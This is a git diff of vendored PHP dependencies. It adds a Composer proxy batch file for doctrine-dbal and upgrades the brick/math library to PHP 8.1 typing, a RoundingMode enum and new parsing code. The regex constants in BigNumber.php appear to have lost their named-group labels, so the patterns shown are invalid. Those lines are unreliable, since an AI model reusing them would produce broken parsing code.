a/vendor/bin/doctrine-dbal.bat b/vendor/bin/doctrine-dbal.bat new file mode 100644 index 000000000..56c0b3fef --- /dev/null +++ b/vendor/bin/doctrine-dbal.bat @@ -0,0 +1,5 @@ +@ECHO OFF +setlocal DISABLEDELAYEDEXPANSION +SET BIN_TARGET=%~dp0/doctrine-dbal +SET COMPOSER_RUNTIME_BIN_DIR=%~dp0 +php "%BIN_TARGET%" %* diff --git a/vendor/brick/math/composer.json b/vendor/brick/math/composer.json index ec196632f..bd67343ad 100644 --- a/vendor/brick/math/composer.json +++ b/vendor/brick/math/composer.json @@ -5,22 +5,26 @@ "keywords": [ "Brick", "Math", + "Mathematics", "Arbitrary-precision", "Arithmetic", "BigInteger", "BigDecimal", "BigRational", - "Bignum" + "BigNumber", + "Bignum", + "Decimal", + "Rational", + "Integer" ], "license": "MIT", "require": { - "php": "^7.1 || ^8.0", - "ext-json": "*" + "php": "^8.1" }, "require-dev": { - "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", + "phpunit/phpunit": "^10.1", "php-coveralls/php-coveralls": "^2.2", - "vimeo/psalm": "4.9.2" + "vimeo/psalm": "5.16.0" }, "autoload": { "psr-4": { diff --git a/vendor/brick/math/src/BigDecimal.php b/vendor/brick/math/src/BigDecimal.php index 78246500c..31d22ab30 100644 --- a/vendor/brick/math/src/BigDecimal.php +++ b/vendor/brick/math/src/BigDecimal.php @@ -22,19 +22,15 @@ final class BigDecimal extends BigNumber * This is a string of digits with an optional leading minus sign. * No leading zero must be present. * No leading minus sign must be present if the value is 0. - * - * @var string */ - private $value; + private readonly string $value; /** * The scale (number of digits after the decimal point) of this decimal number. * * This must be zero or more. - * - * @var int */ - private $scale; + private readonly int $scale; /** * Protected constructor. Use a factory method to obtain an instance. @@ -49,19 +45,11 @@ protected function __construct(string $value, int $scale = 0) } /** - * Creates a BigDecimal of the given value. - * - * @param BigNumber|int|float|string $value - * - * @return BigDecimal - * - * @throws MathException If the value cannot be converted to a BigDecimal. - * * @psalm-pure */ - public static function of($value) : BigNumber + protected static function from(BigNumber $number): static { - return parent::of($value)->toBigDecimal(); + return $number->toBigDecimal(); } /** @@ -72,13 +60,11 @@ public static function of($value) : BigNumber * @param BigNumber|int|float|string $value The unscaled value. Must be convertible to a BigInteger. * @param int $scale The scale of the number, positive or zero. * - * @return BigDecimal - * * @throws \InvalidArgumentException If the scale is negative. * * @psalm-pure */ - public static function ofUnscaledValue($value, int $scale = 0) : BigDecimal + public static function ofUnscaledValue(BigNumber|int|float|string $value, int $scale = 0) : BigDecimal { if ($scale < 0) { throw new \InvalidArgumentException('The scale cannot be negative.'); @@ -90,8 +76,6 @@ public static function ofUnscaledValue($value, int $scale = 0) : BigDecimal /** * Returns a BigDecimal representing zero, with a scale of zero. * - * @return BigDecimal - * * @psalm-pure */ public static function zero() : BigDecimal @@ -112,8 +96,6 @@ public static function zero() : BigDecimal /** * Returns a BigDecimal representing one, with a scale of zero. * - * @return BigDecimal - * * @psalm-pure */ public static function one() : BigDecimal @@ -134,8 +116,6 @@ public static function one() : BigDecimal /** * Returns a BigDecimal representing ten, with a scale of zero. * - * @return BigDecimal - * * @psalm-pure */ public static function ten() : BigDecimal @@ -160,11 +140,9 @@ public static function ten() : BigDecimal * * @param BigNumber|int|float|string $that The number to add. Must be convertible to a BigDecimal. * - * @return BigDecimal The result. - * * @throws MathException If the number is not valid, or is not convertible to a BigDecimal. */ - public function plus($that) : BigDecimal + public function plus(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -191,11 +169,9 @@ public function plus($that) : BigDecimal * * @param BigNumber|int|float|string $that The number to subtract. Must be convertible to a BigDecimal. * - * @return BigDecimal The result. - * * @throws MathException If the number is not valid, or is not convertible to a BigDecimal. */ - public function minus($that) : BigDecimal + public function minus(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -218,11 +194,9 @@ public function minus($that) : BigDecimal * * @param BigNumber|int|float|string $that The multiplier. Must be convertible to a BigDecimal. * - * @return BigDecimal The result. - * * @throws MathException If the multiplier is not a valid number, or is not convertible to a BigDecimal. */ - public function multipliedBy($that) : BigDecimal + public function multipliedBy(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -245,14 +219,12 @@ public function multipliedBy($that) : BigDecimal * * @param BigNumber|int|float|string $that The divisor. * @param int|null $scale The desired scale, or null to use the scale of this number. - * @param int $roundingMode An optional rounding mode. - * - * @return BigDecimal + * @param RoundingMode $roundingMode An optional rounding mode, defaults to UNNECESSARY. * * @throws \InvalidArgumentException If the scale or rounding mode is invalid. * @throws MathException If the number is invalid, is zero, or rounding was necessary. */ - public function dividedBy($that, ?int $scale = null, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + public function dividedBy(BigNumber|int|float|string $that, ?int $scale = null, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal { $that = BigDecimal::of($that); @@ -285,12 +257,10 @@ public function dividedBy($that, ?int $scale = null, int $roundingMode = Roundin * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. * - * @return BigDecimal The result. - * * @throws MathException If the divisor is not a valid number, is not convertible to a BigDecimal, is zero, * or the result yields an infinite number of digits. */ - public function exactlyDividedBy($that) : BigDecimal + public function exactlyDividedBy(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -326,10 +296,6 @@ public function exactlyDividedBy($that) : BigDecimal * * The result has a scale of `$this->scale * $exponent`. * - * @param int $exponent The exponent. - * - * @return BigDecimal The result. - * * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. */ public function power(int $exponent) : BigDecimal @@ -354,17 +320,15 @@ public function power(int $exponent) : BigDecimal } /** - * Returns the quotient of the division of this number by this given one. + * Returns the quotient of the division of this number by the given one. * * The quotient has a scale of `0`. * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. * - * @return BigDecimal The quotient. - * * @throws MathException If the divisor is not a valid decimal number, or is zero. */ - public function quotient($that) : BigDecimal + public function quotient(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -381,17 +345,15 @@ public function quotient($that) : BigDecimal } /** - * Returns the remainder of the division of this number by this given one. + * Returns the remainder of the division of this number by the given one. * * The remainder has a scale of `max($this->scale, $that->scale)`. * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. * - * @return BigDecimal The remainder. - * * @throws MathException If the divisor is not a valid decimal number, or is zero. */ - public function remainder($that) : BigDecimal + public function remainder(BigNumber|int|float|string $that) : BigDecimal { $that = BigDecimal::of($that); @@ -418,9 +380,11 @@ public function remainder($that) : BigDecimal * * @return BigDecimal[] An array containing the quotient and the remainder. * + * @psalm-return array{BigDecimal, BigDecimal} + * * @throws MathException If the divisor is not a valid decimal number, or is zero. */ - public function quotientAndRemainder($that) : array + public function quotientAndRemainder(BigNumber|int|float|string $that) : array { $that = BigDecimal::of($that); @@ -444,10 +408,6 @@ public function quotientAndRemainder($that) : array /** * Returns the square root of this number, rounded down to the given number of decimals. * - * @param int $scale - * - * @return BigDecimal - * * @throws \InvalidArgumentException If the scale is negative. * @throws NegativeNumberException If this number is negative. */ @@ -488,10 +448,6 @@ public function sqrt(int $scale) : BigDecimal /** * Returns a copy of this BigDecimal with the decimal point moved $n places to the left. - * - * @param int $n - * - * @return BigDecimal */ public function withPointMovedLeft(int $n) : BigDecimal { @@ -508,10 +464,6 @@ public function withPointMovedLeft(int $n) : BigDecimal /** * Returns a copy of this BigDecimal with the decimal point moved $n places to the right. - * - * @param int $n - * - * @return BigDecimal */ public function withPointMovedRight(int $n) : BigDecimal { @@ -538,8 +490,6 @@ public function withPointMovedRight(int $n) : BigDecimal /** * Returns a copy of this BigDecimal with any trailing zeros removed from the fractional part. - * - * @return BigDecimal */ public function stripTrailingZeros() : BigDecimal { @@ -571,8 +521,6 @@ public function stripTrailingZeros() : BigDecimal /** * Returns the absolute value of this number. - * - * @return BigDecimal */ public function abs() : BigDecimal { @@ -581,18 +529,13 @@ public function abs() : BigDecimal /** * Returns the negated value of this number. - * - * @return BigDecimal */ public function negated() : BigDecimal { return new BigDecimal(Calculator::get()->neg($this->value), $this->scale); } - /** - * {@inheritdoc} - */ - public function compareTo($that) : int + public function compareTo(BigNumber|int|float|string $that) : int { $that = BigNumber::of($that); @@ -609,25 +552,16 @@ public function compareTo($that) : int return - $that->compareTo($this); } - /** - * {@inheritdoc} - */ public function getSign() : int { return ($this->value === '0') ? 0 : (($this->value[0] === '-') ? -1 : 1); } - /** - * @return BigInteger - */ public function getUnscaledValue() : BigInteger { - return BigInteger::create($this->value); + return self::newBigInteger($this->value); } - /** - * @return int - */ public function getScale() : int { return $this->scale; @@ -637,8 +571,6 @@ public function getScale() : int * Returns a string representing the integral part of this decimal number. * * Example: `-123.456` => `-123`. - * - * @return string */ public function getIntegralPart() : string { @@ -657,8 +589,6 @@ public function getIntegralPart() : string * If the scale is zero, an empty string is returned. * * Examples: `-123.456` => '456', `123` => ''. - * - * @return string */ public function getFractionalPart() : string { @@ -673,47 +603,33 @@ public function getFractionalPart() : string /** * Returns whether this decimal number has a non-zero fractional part. - * - * @return bool */ public function hasNonZeroFractionalPart() : bool { return $this->getFractionalPart() !== \str_repeat('0', $this->scale); } - /** - * {@inheritdoc} - */ public function toBigInteger() : BigInteger { $zeroScaleDecimal = $this->scale === 0 ? $this : $this->dividedBy(1, 0); - return BigInteger::create($zeroScaleDecimal->value); + return self::newBigInteger($zeroScaleDecimal->value); } - /** - * {@inheritdoc} - */ public function toBigDecimal() : BigDecimal { return $this; } - /** - * {@inheritdoc} - */ public function toBigRational() : BigRational { - $numerator = BigInteger::create($this->value); - $denominator = BigInteger::create('1' . \str_repeat('0', $this->scale)); + $numerator = self::newBigInteger($this->value); + $denominator = self::newBigInteger('1' . \str_repeat('0', $this->scale)); - return BigRational::create($numerator, $denominator, false); + return self::newBigRational($numerator, $denominator, false); } - /** - * {@inheritdoc} - */ - public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + public function toScale(int $scale, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal { if ($scale === $this->scale) { return $this; @@ -722,25 +638,16 @@ public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSAR return $this->dividedBy(BigDecimal::one(), $scale, $roundingMode); } - /** - * {@inheritdoc} - */ public function toInt() : int { return $this->toBigInteger()->toInt(); } - /** - * {@inheritdoc} - */ public function toFloat() : float { return (float) (string) $this; } - /** - * {@inheritdoc} - */ public function __toString() : string { if ($this->scale === 0) { @@ -772,8 +679,6 @@ public function __serialize(): array * * @param array{value: string, scale: int} $data * - * @return void - * * @throws \LogicException */ public function __unserialize(array $data): void @@ -786,48 +691,9 @@ public function __unserialize(array $data): void $this->scale = $data['scale']; } - /** - * This method is required by interface Serializable and SHOULD NOT be accessed directly. - * - * @internal - * - * @return string - */ - public function serialize() : string - { - return $this->value . ':' . $this->scale; - } - - /** - * This method is only here to implement interface Serializable and cannot be accessed directly. - * - * @internal - * @psalm-suppress RedundantPropertyInitializationCheck - * - * @param string $value - * - * @return void - * - * @throws \LogicException - */ - public function unserialize($value) : void - { - if (isset($this->value)) { - throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); - } - - [$value, $scale] = \explode(':', $value); - - $this->value = $value; - $this->scale = (int) $scale; - } - /** * Puts the internal values of the given decimal numbers on the same scale. * - * @param BigDecimal $x The first decimal number. - * @param BigDecimal $y The second decimal number. - * * @return array{string, string} The scaled integer values of $x and $y. */ private function scaleValues(BigDecimal $x, BigDecimal $y) : array @@ -844,11 +710,6 @@ private function scaleValues(BigDecimal $x, BigDecimal $y) : array return [$a, $b]; } - /** - * @param int $scale - * - * @return string - */ private function valueWithMinScale(int $scale) : string { $value = $this->value; @@ -862,8 +723,6 @@ private function valueWithMinScale(int $scale) : string /** * Adds leading zeros if necessary to the unscaled value to represent the full decimal number. - * - * @return string */ private function getUnscaledValueWithLeadingZeros() : string { diff --git a/vendor/brick/math/src/BigInteger.php b/vendor/brick/math/src/BigInteger.php index f213fbedb..73dcc89a2 100644 --- a/vendor/brick/math/src/BigInteger.php +++ b/vendor/brick/math/src/BigInteger.php @@ -26,10 +26,8 @@ final class BigInteger extends BigNumber * * No leading zeros must be present. * No leading minus sign must be present if the number is zero. - * - * @var string */ - private $value; + private readonly string $value; /** * Protected constructor. Use a factory method to obtain an instance. @@ -42,19 +40,11 @@ protected function __construct(string $value) } /** - * Creates a BigInteger of the given value. - * - * @param BigNumber|int|float|string $value - * - * @return BigInteger - * - * @throws MathException If the value cannot be converted to a BigInteger. - * * @psalm-pure */ - public static function of($value) : BigNumber + protected static function from(BigNumber $number): static { - return parent::of($value)->toBigInteger(); + return $number->toBigInteger(); } /** @@ -71,8 +61,6 @@ public static function of($value) : BigNumber * @param string $number The number to convert, in the given base. * @param int $base The base of the number, between 2 and 36. * - * @return BigInteger - * * @throws NumberFormatException If the number is empty, or contains invalid chars for the given base. * @throws \InvalidArgumentException If the base is out of range. * @@ -138,8 +126,6 @@ public static function fromBase(string $number, int $base) : BigInteger * @param string $number The number to parse. * @param string $alphabet The alphabet, for example '01' for base 2, or '01234567' for base 8. * - * @return BigInteger - * * @throws NumberFormatException If the given number is empty or contains invalid chars for the given alphabet. * @throws \InvalidArgumentException If the alphabet does not contain at least 2 chars. * @@ -183,8 +169,6 @@ public static function fromArbitraryBase(string $number, string $alphabet) : Big * @param bool $signed Whether to interpret as a signed number in two's-complement representation with a leading * sign bit. * - * @return BigInteger - * * @throws NumberFormatException If the string is empty. */ public static function fromBytes(string $value, bool $signed = true) : BigInteger @@ -217,15 +201,13 @@ public static function fromBytes(string $value, bool $signed = true) : BigIntege * * Using the default random bytes generator, this method is suitable for cryptographic use. * - * @psalm-param callable(int): string $randomBytesGenerator + * @psalm-param (callable(int): string)|null $randomBytesGenerator * * @param int $numBits The number of bits. * @param callable|null $randomBytesGenerator A function that accepts a number of bytes as an integer, and returns a * string of random bytes of the given length. Defaults to the * `random_bytes()` function. * - * @return BigInteger - * * @throws \InvalidArgumentException If $numBits is negative. */ public static function randomBits(int $numBits, ?callable $randomBytesGenerator = null) : BigInteger @@ -239,9 +221,10 @@ public static function randomBits(int $numBits, ?callable $randomBytesGenerator } if ($randomBytesGenerator === null) { - $randomBytesGenerator = 'random_bytes'; + $randomBytesGenerator = random_bytes(...); } + /** @var int<1, max> $byteLength */ $byteLength = \intdiv($numBits - 1, 8) + 1; $extraBits = ($byteLength * 8 - $numBits); @@ -266,13 +249,14 @@ public static function randomBits(int $numBits, ?callable $randomBytesGenerator * and returns a string of random bytes of the given length. * Defaults to the `random_bytes()` function. * - * @return BigInteger - * * @throws MathException If one of the parameters cannot be converted to a BigInteger, * or `$min` is greater than `$max`. */ - public static function randomRange($min, $max, ?callable $randomBytesGenerator = null) : BigInteger - { + public static function randomRange( + BigNumber|int|float|string $min, + BigNumber|int|float|string $max, + ?callable $randomBytesGenerator = null + ) : BigInteger { $min = BigInteger::of($min); $max = BigInteger::of($max); @@ -298,8 +282,6 @@ public static function randomRange($min, $max, ?callable $randomBytesGenerator = /** * Returns a BigInteger representing zero. * - * @return BigInteger - * * @psalm-pure */ public static function zero() : BigInteger @@ -320,8 +302,6 @@ public static function zero() : BigInteger /** * Returns a BigInteger representing one. * - * @return BigInteger - * * @psalm-pure */ public static function one() : BigInteger @@ -342,8 +322,6 @@ public static function one() : BigInteger /** * Returns a BigInteger representing ten. * - * @return BigInteger - * * @psalm-pure */ public static function ten() : BigInteger @@ -361,16 +339,29 @@ public static function ten() : BigInteger return $ten; } + public static function gcdMultiple(BigInteger $a, BigInteger ...$n): BigInteger + { + $result = $a; + + foreach ($n as $next) { + $result = $result->gcd($next); + + if ($result->isEqualTo(1)) { + return $result; + } + } + + return $result; + } + /** * Returns the sum of this number and the given one. * * @param BigNumber|int|float|string $that The number to add. Must be convertible to a BigInteger. * - * @return BigInteger The result. - * * @throws MathException If the number is not valid, or is not convertible to a BigInteger. */ - public function plus($that) : BigInteger + public function plus(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -392,11 +383,9 @@ public function plus($that) : BigInteger * * @param BigNumber|int|float|string $that The number to subtract. Must be convertible to a BigInteger. * - * @return BigInteger The result. - * * @throws MathException If the number is not valid, or is not convertible to a BigInteger. */ - public function minus($that) : BigInteger + public function minus(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -414,11 +403,9 @@ public function minus($that) : BigInteger * * @param BigNumber|int|float|string $that The multiplier. Must be convertible to a BigInteger. * - * @return BigInteger The result. - * * @throws MathException If the multiplier is not a valid number, or is not convertible to a BigInteger. */ - public function multipliedBy($that) : BigInteger + public function multipliedBy(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -439,14 +426,12 @@ public function multipliedBy($that) : BigInteger * Returns the result of the division of this number by the given one. * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. - * @param int $roundingMode An optional rounding mode. - * - * @return BigInteger The result. + * @param RoundingMode $roundingMode An optional rounding mode, defaults to UNNECESSARY. * * @throws MathException If the divisor is not a valid number, is not convertible to a BigInteger, is zero, * or RoundingMode::UNNECESSARY is used and the remainder is not zero. */ - public function dividedBy($that, int $roundingMode = RoundingMode::UNNECESSARY) : BigInteger + public function dividedBy(BigNumber|int|float|string $that, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigInteger { $that = BigInteger::of($that); @@ -466,10 +451,6 @@ public function dividedBy($that, int $roundingMode = RoundingMode::UNNECESSARY) /** * Returns this number exponentiated to the given value. * - * @param int $exponent The exponent. - * - * @return BigInteger The result. - * * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. */ public function power(int $exponent) : BigInteger @@ -498,11 +479,9 @@ public function power(int $exponent) : BigInteger * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. * - * @return BigInteger - * * @throws DivisionByZeroException If the divisor is zero. */ - public function quotient($that) : BigInteger + public function quotient(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -526,11 +505,9 @@ public function quotient($that) : BigInteger * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. * - * @return BigInteger - * * @throws DivisionByZeroException If the divisor is zero. */ - public function remainder($that) : BigInteger + public function remainder(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -554,9 +531,11 @@ public function remainder($that) : BigInteger * * @return BigInteger[] An array containing the quotient and the remainder. * + * @psalm-return array{BigInteger, BigInteger} + * * @throws DivisionByZeroException If the divisor is zero. */ - public function quotientAndRemainder($that) : array + public function quotientAndRemainder(BigNumber|int|float|string $that) : array { $that = BigInteger::of($that); @@ -582,11 +561,9 @@ public function quotientAndRemainder($that) : array * * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. * - * @return BigInteger - * * @throws DivisionByZeroException If the divisor is zero. */ - public function mod($that) : BigInteger + public function mod(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -602,10 +579,6 @@ public function mod($that) : BigInteger /** * Returns the modular multiplicative inverse of this BigInteger modulo $m. * - * @param BigInteger $m - * - * @return BigInteger - * * @throws DivisionByZeroException If $m is zero. * @throws NegativeNumberException If $m is negative. * @throws MathException If this BigInteger has no multiplicative inverse mod m (that is, this BigInteger @@ -642,12 +615,10 @@ public function modInverse(BigInteger $m) : BigInteger * @param BigNumber|int|float|string $exp The exponent. Must be positive or zero. * @param BigNumber|int|float|string $mod The modulus. Must be strictly positive. * - * @return BigInteger - * * @throws NegativeNumberException If any of the operands is negative. * @throws DivisionByZeroException If the modulus is zero. */ - public function modPow($exp, $mod) : BigInteger + public function modPow(BigNumber|int|float|string $exp, BigNumber|int|float|string $mod) : BigInteger { $exp = BigInteger::of($exp); $mod = BigInteger::of($mod); @@ -671,10 +642,8 @@ public function modPow($exp, $mod) : BigInteger * The GCD is always positive, unless both operands are zero, in which case it is zero. * * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. - * - * @return BigInteger */ - public function gcd($that) : BigInteger + public function gcd(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -696,8 +665,6 @@ public function gcd($that) : BigInteger * * The result is the largest x such that x² ≤ n. * - * @return BigInteger - * * @throws NegativeNumberException If this number is negative. */ public function sqrt() : BigInteger @@ -713,8 +680,6 @@ public function sqrt() : BigInteger /** * Returns the absolute value of this number. - * - * @return BigInteger */ public function abs() : BigInteger { @@ -723,8 +688,6 @@ public function abs() : BigInteger /** * Returns the inverse of this number. - * - * @return BigInteger */ public function negated() : BigInteger { @@ -737,10 +700,8 @@ public function negated() : BigInteger * This method returns a negative BigInteger if and only if both operands are negative. * * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. - * - * @return BigInteger */ - public function and($that) : BigInteger + public function and(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -753,10 +714,8 @@ public function and($that) : BigInteger * This method returns a negative BigInteger if and only if either of the operands is negative. * * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. - * - * @return BigInteger */ - public function or($that) : BigInteger + public function or(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -769,10 +728,8 @@ public function or($that) : BigInteger * This method returns a negative BigInteger if and only if exactly one of the operands is negative. * * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. - * - * @return BigInteger */ - public function xor($that) : BigInteger + public function xor(BigNumber|int|float|string $that) : BigInteger { $that = BigInteger::of($that); @@ -781,8 +738,6 @@ public function xor($that) : BigInteger /** * Returns the bitwise-not of this BigInteger. - * - * @return BigInteger */ public function not() : BigInteger { @@ -791,10 +746,6 @@ public function not() : BigInteger /** * Returns the integer left shifted by a given number of bits. - * - * @param int $distance The distance to shift. - * - * @return BigInteger */ public function shiftedLeft(int $distance) : BigInteger { @@ -811,10 +762,6 @@ public function shiftedLeft(int $distance) : BigInteger /** * Returns the integer right shifted by a given number of bits. - * - * @param int $distance The distance to shift. - * - * @return BigInteger */ public function shiftedRight(int $distance) : BigInteger { @@ -840,8 +787,6 @@ public function shiftedRight(int $distance) : BigInteger * * For positive BigIntegers, this is equivalent to the number of bits in the ordinary binary representation. * Computes (ceil(log2(this < 0 ? -this : this+1))). - * - * @return int */ public function getBitLength() : int { @@ -860,8 +805,6 @@ public function getBitLength() : int * Returns the index of the rightmost (lowest-order) one bit in this BigInteger. * * Returns -1 if this BigInteger contains no one bits. - * - * @return int */ public function getLowestSetBit() : int { @@ -881,8 +824,6 @@ public function getLowestSetBit() : int /** * Returns whether this number is even. - * - * @return bool */ public function isEven() : bool { @@ -891,8 +832,6 @@ public function isEven() : bool /** * Returns whether this number is odd. - * - * @return bool */ public function isOdd() : bool { @@ -906,8 +845,6 @@ public function isOdd() : bool * * @param int $n The bit to test, 0-based. * - * @return bool - * * @throws \InvalidArgumentException If the bit to test is negative. */ public function testBit(int $n) : bool @@ -919,10 +856,7 @@ public function testBit(int $n) : bool return $this->shiftedRight($n)->isOdd(); } - /** - * {@inheritdoc} - */ - public function compareTo($that) : int + public function compareTo(BigNumber|int|float|string $that) : int { $that = BigNumber::of($that); @@ -933,49 +867,31 @@ public function compareTo($that) : int return - $that->compareTo($this); } - /** - * {@inheritdoc} - */ public function getSign() : int { return ($this->value === '0') ? 0 : (($this->value[0] === '-') ? -1 : 1); } - /** - * {@inheritdoc} - */ public function toBigInteger() : BigInteger { return $this; } - /** - * {@inheritdoc} - */ public function toBigDecimal() : BigDecimal { - return BigDecimal::create($this->value); + return self::newBigDecimal($this->value); } - /** - * {@inheritdoc} - */ public function toBigRational() : BigRational { - return BigRational::create($this, BigInteger::one(), false); + return self::newBigRational($this, BigInteger::one(), false); } - /** - * {@inheritdoc} - */ - public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + public function toScale(int $scale, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal { return $this->toBigDecimal()->toScale($scale, $roundingMode); } - /** - * {@inheritdoc} - */ public function toInt() : int { $intValue = (int) $this->value; @@ -987,9 +903,6 @@ public function toInt() : int return $intValue; } - /** - * {@inheritdoc} - */ public function toFloat() : float { return (float) $this->value; @@ -1000,10 +913,6 @@ public function toFloat() : float * * The output will always be lowercase for bases greater than 10. * - * @param int $base - * - * @return string - * * @throws \InvalidArgumentException If the base is out of range. */ public function toBase(int $base) : string @@ -1027,8 +936,6 @@ public function toBase(int $base) : string * * @param string $alphabet The alphabet, for example '01' for base 2, or '01234567' for base 8. * - * @return string - * * @throws NegativeNumberException If this number is negative. * @throws \InvalidArgumentException If the given alphabet does not contain at least 2 chars. */ @@ -1063,8 +970,6 @@ public function toArbitraryBase(string $alphabet) : string * * @param bool $signed Whether to output a signed number in two's-complement representation with a leading sign bit. * - * @return string - * * @throws NegativeNumberException If $signed is false, and the number is negative. */ public function toBytes(bool $signed = true) : string @@ -1108,9 +1013,6 @@ public function toBytes(bool $signed = true) : string return \hex2bin($hex); } - /** - * {@inheritdoc} - */ public function __toString() : string { return $this->value; @@ -1136,8 +1038,6 @@ public function __serialize(): array * * @param array{value: string} $data * - * @return void - * * @throws \LogicException */ public function __unserialize(array $data): void @@ -1148,37 +1048,4 @@ public function __unserialize(array $data): void $this->value = $data['value']; } - - /** - * This method is required by interface Serializable and SHOULD NOT be accessed directly. - * - * @internal - * - * @return string - */ - public function serialize() : string - { - return $this->value; - } - - /** - * This method is only here to implement interface Serializable and cannot be accessed directly. - * - * @internal - * @psalm-suppress RedundantPropertyInitializationCheck - * - * @param string $value - * - * @return void - * - * @throws \LogicException - */ - public function unserialize($value) : void - { - if (isset($this->value)) { - throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); - } - - $this->value = $value; - } } diff --git a/vendor/brick/math/src/BigNumber.php b/vendor/brick/math/src/BigNumber.php index 38c8c554e..5a0df7837 100644 --- a/vendor/brick/math/src/BigNumber.php +++ b/vendor/brick/math/src/BigNumber.php @@ -14,26 +14,29 @@ * * @psalm-immutable */ -abstract class BigNumber implements \Serializable, \JsonSerializable +abstract class BigNumber implements \JsonSerializable { /** - * The regular expression used to parse integer, decimal and rational numbers. + * The regular expression used to parse integer or decimal numbers. */ - private const PARSE_REGEXP = + private const PARSE_REGEXP_NUMERICAL = '/^' . '(?[\-\+])?' . - '(?:' . - '(?:' . - '(?[0-9]+)?' . - '(?\.)?' . - '(?[0-9]+)?' . - '(?:[eE](?[\-\+]?[0-9]+))?' . - ')|(?:' . - '(?[0-9]+)' . - '\/?' . - '(?[0-9]+)' . - ')' . - ')' . + '(?[0-9]+)?' . + '(?\.)?' . + '(?[0-9]+)?' . + '(?:[eE](?[\-\+]?[0-9]+))?' . + '$/'; + + /** + * The regular expression used to parse rational numbers. + */ + private const PARSE_REGEXP_RATIONAL = + '/^' . + '(?[\-\+])?' . + '(?[0-9]+)' . + '\/?' . + '(?[0-9]+)' . '$/'; /** @@ -48,16 +51,29 @@ abstract class BigNumber implements \Serializable, \JsonSerializable * - strings containing a `.` character or using an exponential notation are returned as BigDecimal * - strings containing only digits with an optional leading `+` or `-` sign are returned as BigInteger * - * @param BigNumber|int|float|string $value - * - * @return BigNumber - * * @throws NumberFormatException If the format of the number is not valid. * @throws DivisionByZeroException If the value represents a rational number with a denominator of zero. * * @psalm-pure */ - public static function of($value) : BigNumber + final public static function of(BigNumber|int|float|string $value) : static + { + $value = self::_of($value); + + if (static::class === BigNumber::class) { + // https://github.com/vimeo/psalm/issues/10309 + assert($value instanceof static); + + return $value; + } + + return static::from($value); + } + + /** + * @psalm-pure + */ + private static function _of(BigNumber|int|float|string $value) : BigNumber { if ($value instanceof BigNumber) { return $value; @@ -67,37 +83,25 @@ public static function of($value) : BigNumber return new BigInteger((string) $value); } - /** @psalm-suppress RedundantCastGivenDocblockType We cannot trust the untyped $value here! */ - $value = \is_float($value) ? self::floatToString($value) : (string) $value; - - $throw = static function() use ($value) : void { - throw new NumberFormatException(\sprintf( - 'The given value "%s" does not represent a valid number.', - $value - )); - }; - - if (\preg_match(self::PARSE_REGEXP, $value, $matches) !== 1) { - $throw(); + if (is_float($value)) { + $value = (string) $value; } - $getMatch = static function(string $value) use ($matches) : ?string { - return isset($matches[$value]) && $matches[$value] !== '' ? $matches[$value] : null; - }; + if (str_contains($value, '/')) { + // Rational number + if (\preg_match(self::PARSE_REGEXP_RATIONAL, $value, $matches, PREG_UNMATCHED_AS_NULL) !== 1) { + throw NumberFormatException::invalidFormat($value); + } - $sign = $getMatch('sign'); - $numerator = $getMatch('numerator'); - $denominator = $getMatch('denominator'); + $sign = $matches['sign']; + $numerator = $matches['numerator']; + $denominator = $matches['denominator']; - if ($numerator !== null) { + assert($numerator !== null); assert($denominator !== null); - if ($sign !== null) { - $numerator = $sign . $numerator; - } - - $numerator = self::cleanUp($numerator); - $denominator = self::cleanUp($denominator); + $numerator = self::cleanUp($sign, $numerator); + $denominator = self::cleanUp(null, $denominator); if ($denominator === '0') { throw DivisionByZeroException::denominatorMustNotBeZero(); @@ -108,88 +112,94 @@ public static function of($value) : BigNumber new BigInteger($denominator), false ); - } + } else { + // Integer or decimal number + if (\preg_match(self::PARSE_REGEXP_NUMERICAL, $value, $matches, PREG_UNMATCHED_AS_NULL) !== 1) { + throw NumberFormatException::invalidFormat($value); + } - $point = $getMatch('point'); - $integral = $getMatch('integral'); - $fractional = $getMatch('fractional'); - $exponent = $getMatch('exponent'); + $sign = $matches['sign']; + $point = $matches['point']; + $integral = $matches['integral']; + $fractional = $matches['fractional']; + $exponent = $matches['exponent']; - if ($integral === null && $fractional === null) { - $throw(); 